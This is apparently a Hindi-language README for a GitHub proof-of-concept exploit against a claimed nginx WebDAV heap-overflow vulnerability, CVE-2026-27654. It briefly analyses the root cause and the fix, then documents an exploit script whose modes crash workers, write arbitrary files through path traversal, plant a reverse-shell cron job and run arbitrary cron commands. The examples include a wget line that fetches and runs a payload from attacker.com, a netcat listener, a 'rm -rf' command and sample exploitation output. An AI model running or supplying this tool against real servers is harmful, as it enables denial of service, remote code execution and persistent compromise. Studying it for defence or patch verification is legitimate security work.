
CVE-2026-27654 के लिए Proof-of-Concept और तकनीकी विश्लेषण, जो NGINX HTTP WebDAV मॉड्यूल में एक हीप-आधारित बफर ओवरफ्लो भेद्यता है, जिसमें मूल कारण विश्लेषण, पुनरुत्पादन और शमन शामिल है।
# CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias पथ हैंडलिंग PoC
यह रिपॉज़िटरी **CVE‑2026‑27654** के लिए एक proof‑of‑concept एक्सप्लॉइट प्रदान करती है, जो nginx के `ngx_http_dav_module` में एक heap‑overflow भेद्यता है। यह बग विशेष रूप से तैयार किए गए `Destination` हेडर और `alias`‑आधारित लोकेशन वाले `MOVE`/`COPY` अनुरोधों को संभालते समय size‑t अंडरफ़्लो के कारण उत्पन्न होता है।
> **⚠️ अस्वीकरण:** यह टूल केवल **अधिकृत सुरक्षा अनुसंधान और परीक्षण** के लिए है। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="CVE-2026-27654 लोगो">
</p>
## 🔥 भेद्यता अवलोकन
**CVE-2026-27654** NGINX HTTP WebDAV मॉड्यूल में एक दूरस्थ रूप से ट्रिगर होने वाला **heap-based buffer overflow** है, जो `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`) में **integer underflow** के कारण होता है। यह भेद्यता तब उत्पन्न होती है जब गंतव्य URI की लंबाई कॉन्फ़िगर किए गए लोकेशन प्रीफ़िक्स को `Destination` हेडर पथ से घटाकर प्राप्त की जाती है। चूँकि दोनों ऑपरेंड `size_t` प्रकार के होते हैं, एक छोटा गंतव्य पथ घटाव को लगभग-अधिकतम unsigned मान में wrap कर देता है।
यह wrap हुई लंबाई बाद में `memcpy()` के size तर्क के रूप में उपयोग की जाती है, जिससे out-of-bounds heap write होता है जो मेमोरी को दूषित करता है और NGINX worker प्रक्रिया को तुरंत क्रैश कर देता है। एक दूरस्थ, अनधिकृत हमलावर `alias`-मैप किए गए WebDAV लोकेशन को लक्षित करने वाले एकल क्राफ्टेड **MOVE** या **COPY** अनुरोध के साथ इस स्थिति को विश्वसनीय रूप से ट्रिगर कर सकता है। जबकि NGINX master प्रक्रिया विफल workers को स्वचालित रूप से पुनः स्पॉन करती है, बार-बार अनुरोध सेवा को निरंतर worker-crash लूप में बनाए रख सकते हैं, जिसके परिणामस्वरूप लगातार `Denial-of-Service (DoS)` होता है।
AddressSanitizer (ASan) `memcpy()` में `negative-size-param` त्रुटि के साथ भेद्यता की पुष्टि करता है, और निष्पादन पथ को `ngx_http_dav_copy_move_handler()` से `ngx_http_core_module.c` तक ट्रेस करता है। यह भेद्यता **NGINX 0.5.13–1.28.2 (stable)** और **1.29.0–1.29.6 (mainline)** को प्रभावित करती है जब `--with-http_dav_module` के साथ संकलित किया जाता है और `alias` निर्देश के साथ कॉन्फ़िगर किया जाता है। इस समस्या को **NGINX 1.28.3** और **1.29.7** (commit `ab4b5b8`, `PR #1210`) में मेमोरी ऑपरेशन से पहले गणना की गई गंतव्य पथ लंबाई के उचित सत्यापन के माध्यम से ठीक किया गया था।
## ✨ विशेषताएँ
- **इंटरैक्टिव मोड चयन** – स्पष्ट क्रमांकित मेनू के साथ रनटाइम पर चार ऑपरेशन मोड (crash, write‑file, cron‑shell, cron‑cmd) में से चुनें।
- **क्रैश ट्रिगर** – विहित `MOVE`/`COPY` अनुरोध भेजें जो size‑t अंडरफ़्लो को ट्रिगर करता है और भेद्य worker को क्रैश कर देता है।
- **write‑file मोड** – फ़ाइल सिस्टम पर किसी भी स्थान पर मनमाना कंटेंट अपलोड करें (लिखने योग्य `alias` वाले लैब सेटअप की आवश्यकता है)।
- **cron‑shell डिलीवरी** – `LHOST`/`LPORT` के लिए इंटरैक्टिव प्रॉम्प्ट और listener‑start रिमाइंडर के साथ `/etc/cron.d/` में reverse‑shell cron जॉब तैनात करें।
- **cron‑cmd डिलीवरी** – cron के माध्यम से कस्टम कमांड निष्पादित करें; इंटरैक्टिव इनपुट या `--cron-command` फ़्लैग दोनों स्वीकार करता है।
- **भेद्यता जाँच** (`--check`) – गैर‑इंटरैक्टिव मोड जो क्रैश परीक्षण चलाता है और स्पष्ट `[VULNERABLE]` / `[NOT VULNERABLE]` परिणाम प्रिंट करता है, कोड 0 या 1 के साथ बाहर निकलता है।
- **HTTP proxy समर्थन** (`--proxy`) – डिबगिंग या ट्रैफ़िक निरीक्षण के लिए सभी अनुरोधों को HTTP/HTTPS proxy (जैसे, Burp Suite, mitmproxy) के माध्यम से रूट करें।
- **बुद्धिमान फ़ाइल हैंडलिंग** – जाँचता है कि ट्रिगर फ़ाइल पहले से मौजूद है या नहीं (HEAD/GET के माध्यम से) और यदि मौजूद है तो PUT को छोड़ देता है, अनावश्यक अपलोड से बचाता है।
- **लचीले payload विकल्प** – `--payload-file` (बाइनरी), `--payload-text` (शाब्दिक टेक्स्ट) के माध्यम से payload प्रदान करें, या डिफ़ॉल्ट परीक्षण कंटेंट का उपयोग करें।
- **व्यापक command‑line तर्क** – एक्सप्लॉइट के हर पहलू को बारीकी से समायोजित करें: `--destination-path`, `--alias-len`, `--escape-depth`, `--method`, `--location-prefix`, और अधिक।
- **मज़बूत फ़ॉलबैक** – यदि `requests` लाइब्रेरी स्थापित नहीं है, तो स्क्रिप्ट Python के मानक `http.client` पर फ़ॉलबैक करती है (फ़ॉलबैक मोड में proxy समर्थन अक्षम है)।
## 📦 इंस्टॉलेशन
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 उपयोग
### इंटरैक्टिव मोड (मेनू)
```bash
python exploit.py --target 192.168.1.100:8080
```
आपको एक क्रमांकित मेनू दिखाया जाएगा और एक मोड चुनने के लिए प्रॉम्प्ट किया जाएगा।
### भेद्यता जाँच (गैर‑इंटरैक्टिव)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
यह **crash** मोड को बाध्य करता है, एक्सप्लॉइट चलाता है, और कोड `0` या `1` के साथ बाहर निकलने से पहले `[VULNERABLE]` या `[NOT VULNERABLE]` प्रिंट करता है।
### HTTP proxy के साथ
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
सभी HTTP अनुरोध निर्दिष्ट proxy के माध्यम से भेजे जाएँगे (Burp के साथ डिबगिंग के लिए उपयोगी)।
## ⚙️ फ़्लैग संदर्भ
| फ़्लैग | विवरण | उदाहरण |
|------|-------------|---------|
| `--target HOST:PORT` | लक्ष्य nginx इंस्टेंस (डिफ़ॉल्ट: `127.0.0.1:8080`)। | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | पूर्ण HTTP प्रतिक्रियाएँ दिखाएँ (हेडर और बॉडी)। | `-v` |
| `--no-put` | प्रारंभिक PUT छोड़ें (मान लें कि ट्रिगर फ़ाइल पहले से मौजूद है)। बार-बार परीक्षण के लिए उपयोगी। | `--no-put` |
| `--location-prefix` | DAV लोकेशन प्रीफ़िक्स (डिफ़ॉल्ट: `/uploads/`)। nginx कॉन्फ़िग में `alias` लोकेशन से मेल खाना चाहिए। | `--location-prefix /dav/` |
| `--remote-name` | DAV लोकेशन के अंदर रखा जाने वाला रिमोट स्रोत फ़ाइलनाम (डिफ़ॉल्ट: `triggerfile.txt`)। | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | गंतव्य अनुरोध के लिए उपयोग की जाने वाली DAV विधि (डिफ़ॉल्ट: `MOVE`)। | `--method COPY` |
| `--destination-path` | गंतव्य URI पथ – क्रैश अंकगणित या डिलीवरी मोड के लिए अंतिम फ़ाइल पथ के रूप में उपयोग होता है। | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | कॉन्फ़िगर्ड `alias` स्ट्रिंग लंबाई (क्रैश अंकगणित प्रदर्शन के लिए, डिफ़ॉल्ट `13`)। | `--alias-len 20` |
| `--escape-depth` | DAV रूट से बाहर निकलने के लिए `../` पथ घटकों की संख्या (डिफ़ॉल्ट `1`)। | `--escape-depth 3` |
| `--payload-file` | payload के रूप में अपलोड करने के लिए लोकल फ़ाइल। डिफ़ॉल्ट परीक्षण कंटेंट को ओवरराइड करता है। | `--payload-file ./shell.php` |
| `--payload-text` | `write-file` मोड के लिए शाब्दिक टेक्स्ट payload। | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | Reverse shell कॉलबैक होस्ट (`cron-shell` के लिए)। यदि छोड़ा जाता है, तो स्क्रिप्ट इंटरैक्टिव रूप से प्रॉम्प्ट करती है। | `--lhost 192.168.1.50` |
| `--lport` | Reverse shell कॉलबैक पोर्ट (`cron-shell` के लिए)। | `--lport 4444` |
| `--cron-command` | cron के माध्यम से चलाने के लिए कमांड (`cron-cmd` के लिए)। यदि छोड़ा जाता है, तो स्क्रिप्ट इंटरैक्टिव रूप से प्रॉम्प्ट करती है। | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | cron डिलीवरी के बाद जॉब निष्पादित होने के लिए प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट `65`)। | `--wait 120` |
| `--check` | भेद्यता जाँच चलाएँ (क्रैश परीक्षण, गैर‑इंटरैक्टिव)। `VULNERABLE`/`NOT VULNERABLE` आउटपुट करता है और कोड 0/1 के साथ बाहर निकलता है। | `--check` |
| `--proxy PROXY_URL` | HTTP/HTTPS proxy URL (जैसे, `http://127.0.0.1:8080`)। `requests` लाइब्रेरी की आवश्यकता है। | `--proxy http://127.0.0.1:8080` |
> **नोट:** अधिकांश फ़्लैग वैकल्पिक हैं। यदि आवश्यक तर्क प्रदान नहीं किए जाते हैं (जैसे, `cron-shell` के लिए `--lhost`/`--lport`), तो स्क्रिप्ट उनके लिए प्रॉम्प्ट करेगी।
## 🧪 मोड विस्तार से
### 1. `crash`
क्राफ्टेड `MOVE` (या `COPY`) अनुरोध भेजता है जो size‑t अंडरफ़्लो को ट्रिगर करता है। सर्वर worker प्रक्रिया को क्रैश कर देगा। यदि master प्रक्रिया सही ढंग से कॉन्फ़िगर की गई है, तो यह एक नया worker पुनः स्पॉन करेगी।
**उदाहरण:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
फ़ाइल सिस्टम पर किसी मनमाने स्थान पर एक फ़ाइल अपलोड करता है। यह केवल तभी काम करता है जब DAV लोकेशन किसी ऐसे `alias` द्वारा समर्थित हो जो एक लिखने योग्य निर्देशिका की ओर इंगित करता है और `Destination` पथ DAV रूट से बाहर निकलने के लिए क्राफ्ट किया गया हो। **केवल अधिकृत लैब वातावरण में उपयोग करें।**
**उदाहरण:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
`/etc/cron.d/` में reverse‑shell cron जॉब रखता है।
जब आप यह मोड चुनते हैं, तो स्क्रिप्ट आपसे निम्न के लिए प्रॉम्प्ट करेगी:
- **LHOST** – आपका listening IP
- **LPORT** – आपका listening पोर्ट
इसके बाद यह netcat listener कमांड प्रदर्शित करेगा और आपका listener चलने पर आपके द्वारा **Enter** दबाने की प्रतीक्षा करेगा।
**उदाहरण (पूर्व‑भरा हुआ):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
`/etc/cron.d/` में एक कस्टम कमांड (इंटरैक्टिव रूप से या `--cron-command` के माध्यम से प्रदान किया गया) रखता है। यह मनमाने सिस्टम कमांड निष्पादित करने के लिए उपयोगी है।
**उदाहरण (इंटरैक्टिव):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**उदाहरण (पूर्व‑भरा हुआ):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 उदाहरण वर्कफ़्लो (Reverse Shell)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 उदाहरण वर्कफ़्लो (कमांड निष्पादन)
यह उदाहरण listener की आवश्यकता के बिना लक्ष्य सिस्टम पर कमांड निष्पादित करने के लिए `cron-cmd` का उपयोग प्रदर्शित करता है।
### इंटरैक्टिव मोड
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### पूर्व‑भरा हुआ (गैर‑इंटरैक्टिव)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
स्क्रिप्ट स्वचालित रूप से प्रदान किए गए `--cron-command` का उपयोग करेगी और इंटरैक्टिव प्रॉम्प्ट को छोड़ देगी, जिससे यह स्वचालन के लिए उपयुक्त हो जाता है।
## 🛠️ भेद्य परीक्षण वातावरण बनाना
इस PoC का नियंत्रित वातावरण में परीक्षण करने के लिए, आप `--with-http_dav_module` के साथ nginx को स्रोत से बना सकते हैं और `alias` तथा `dav_methods` के साथ एक लोकेशन कॉन्फ़िगर कर सकते हैं। एक नमूना Docker कॉन्फ़िगरेशन शामिल है (जल्द आ रहा है)।
## संदर्भ
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 लाइसेंस
यह प्रोजेक्ट GNU v3.0 लाइसेंस के अंतर्गत लाइसेंस प्राप्त है – विवरण के लिए [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) फ़ाइल देखें।
## 🤝 योगदान
Issues और pull requests का स्वागत है। कृपया सुनिश्चित करें कि आपके योगदान उन्हीं नैतिक उपयोग दिशानिर्देशों का पालन करते हैं।
>**याद रखें:** किसी भी सुरक्षा टूल का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें। नैतिक बने रहें!